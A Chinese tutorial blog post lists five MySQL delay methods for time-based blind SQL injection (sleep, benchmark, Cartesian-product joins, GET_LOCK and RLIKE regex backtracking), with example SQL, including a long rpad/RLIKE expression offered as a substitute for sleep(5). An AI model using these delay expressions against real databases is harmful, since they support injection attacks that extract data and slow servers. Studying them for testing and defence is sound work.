mysql 延时 注入_MySQL时间盲注五种延时方法

延时注入函数

五种:sleep(),benchmark(t,exp),笛卡尔积,GET_LOCK() RLIKE正则

sleep()

sleep(x)

select sleep(5);

benchmark() 重复执行某表达式

benchmark(t,exp)

select benchmark(count,expr),是重复执行count次expr表达式,使得处理时间很长,来产生延迟,

比如select benchmark(1000000,encode("hello","good"));

select benchmark(5000000, md5( 'test' ));​

笛卡尔积

笛卡尔积(因为连接表是一个很耗时的操作)

AxB=A和B中每个元素的组合所组成的集合,就是连接表

SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;

select* fromtable_name A, table_name B

select* fromtable_name A, table_name B,table_name C

select count(*) from table_name A, table_name B,table_name C 表可以是同一张表

GET_LOCK() 加锁

GET_LOCK(key,timeout)  需要两个连接会话

RELEASE_LOCK(key)  锁是否释放,释放了返回1

IS_FREE_LOCK(key)  返回当前连接ID,表示名称为'xxxx'的锁正在被使用。

key 锁的名字,timeout加锁等待时间,时间内未加锁成功则事件回滚。get_lock 加锁成功返回1,

这个锁是应用程序级别的,在不同的mysql会话之间使用,是名字锁,不是锁具体某个表名或字段,具体是锁什么完全交给应用程序。它是一种独占锁,意味着哪个会话持有这个锁,其他会话尝试拿这个锁的时候都会失败。

session A select get_lock('test',1);

session B select get_lock('test',5);

可以指定表也可以不指定

直到关闭连接会话结束,锁才会释放,但不像redis那样加了锁只要不主动释放就一直有。

但是当会话1 get_lock 后,未释放。会话2 不get_lock

同一个key,或者就不get_lock,依然可以对数据进行任何操作,所以加锁只是说人为的主观的想要让某些操作同时只有一个连接能进行操作,别的连接不调用get_lock加同一个锁,那它不会受到任何影响,想干什么干什么。

session1

6452ab6b5ab970290db92f0d5cd97eb2.png

session2

ed5e96ed67a9716c508f71d255520452.png

get_lock:但是当会话1

get_lock 后,未释放。会话2 不get_lock

同一个key,或者就不get_lock,依然可以对数据进行任何操作,所以加锁只是说人为的主观的想要让某些操作同时只有一个连接能进行操作,别的连接不调用get_lock加同一个锁,那它不会受到任何影响,想干什么干什么。

session1

78d7e4155391a831858cefc79fd3b1fc.png

session2

72d880b5716652eea8db119426059e56.png

优缺点分析(1)这种方式对于更新所有列比较有效,但是得把查询的语句也放在锁内执行; (2)这种方式当客户端无故断线了会自动释放锁,比较好,不像redis锁那样,如果加完锁断了,那么锁一直在; (3)这种方式是针对锁内的所有操作加锁,并不针对特定表或特定行,所以使用了同一个Key的锁但不同的操作都会共用一把锁,会导致效率低下; (4)如果查询语句放在锁之前,则数据可能是旧的,更新之后会把查询之后更新之前别的客户端更新的数据覆盖掉;

RLIKE REGEXP正则匹配

通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。

select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

正则语法:

. : 匹配任意单个字符*: 匹配0个或多个前一个得到的字符

[] : 匹配任意一个[]内的字符,[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。^ : 匹配开头,如^s匹配以s或者S开头的字符串。

$ : 匹配结尾,如s$匹配以s结尾的字符串。

{n} : 匹配前一个字符反复n次。

RPAD(str,len,padstr)

用字符串 padstr对 str进行右边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len',那么它将被截除到 len个字符。

mysql> SELECT RPAD('hi',5,'?'); -> 'hi???'​

repeat(str,times) 复制字符串times次

⭐️寻找新的延迟函数

concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

以上代码等同于 sleep(5)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值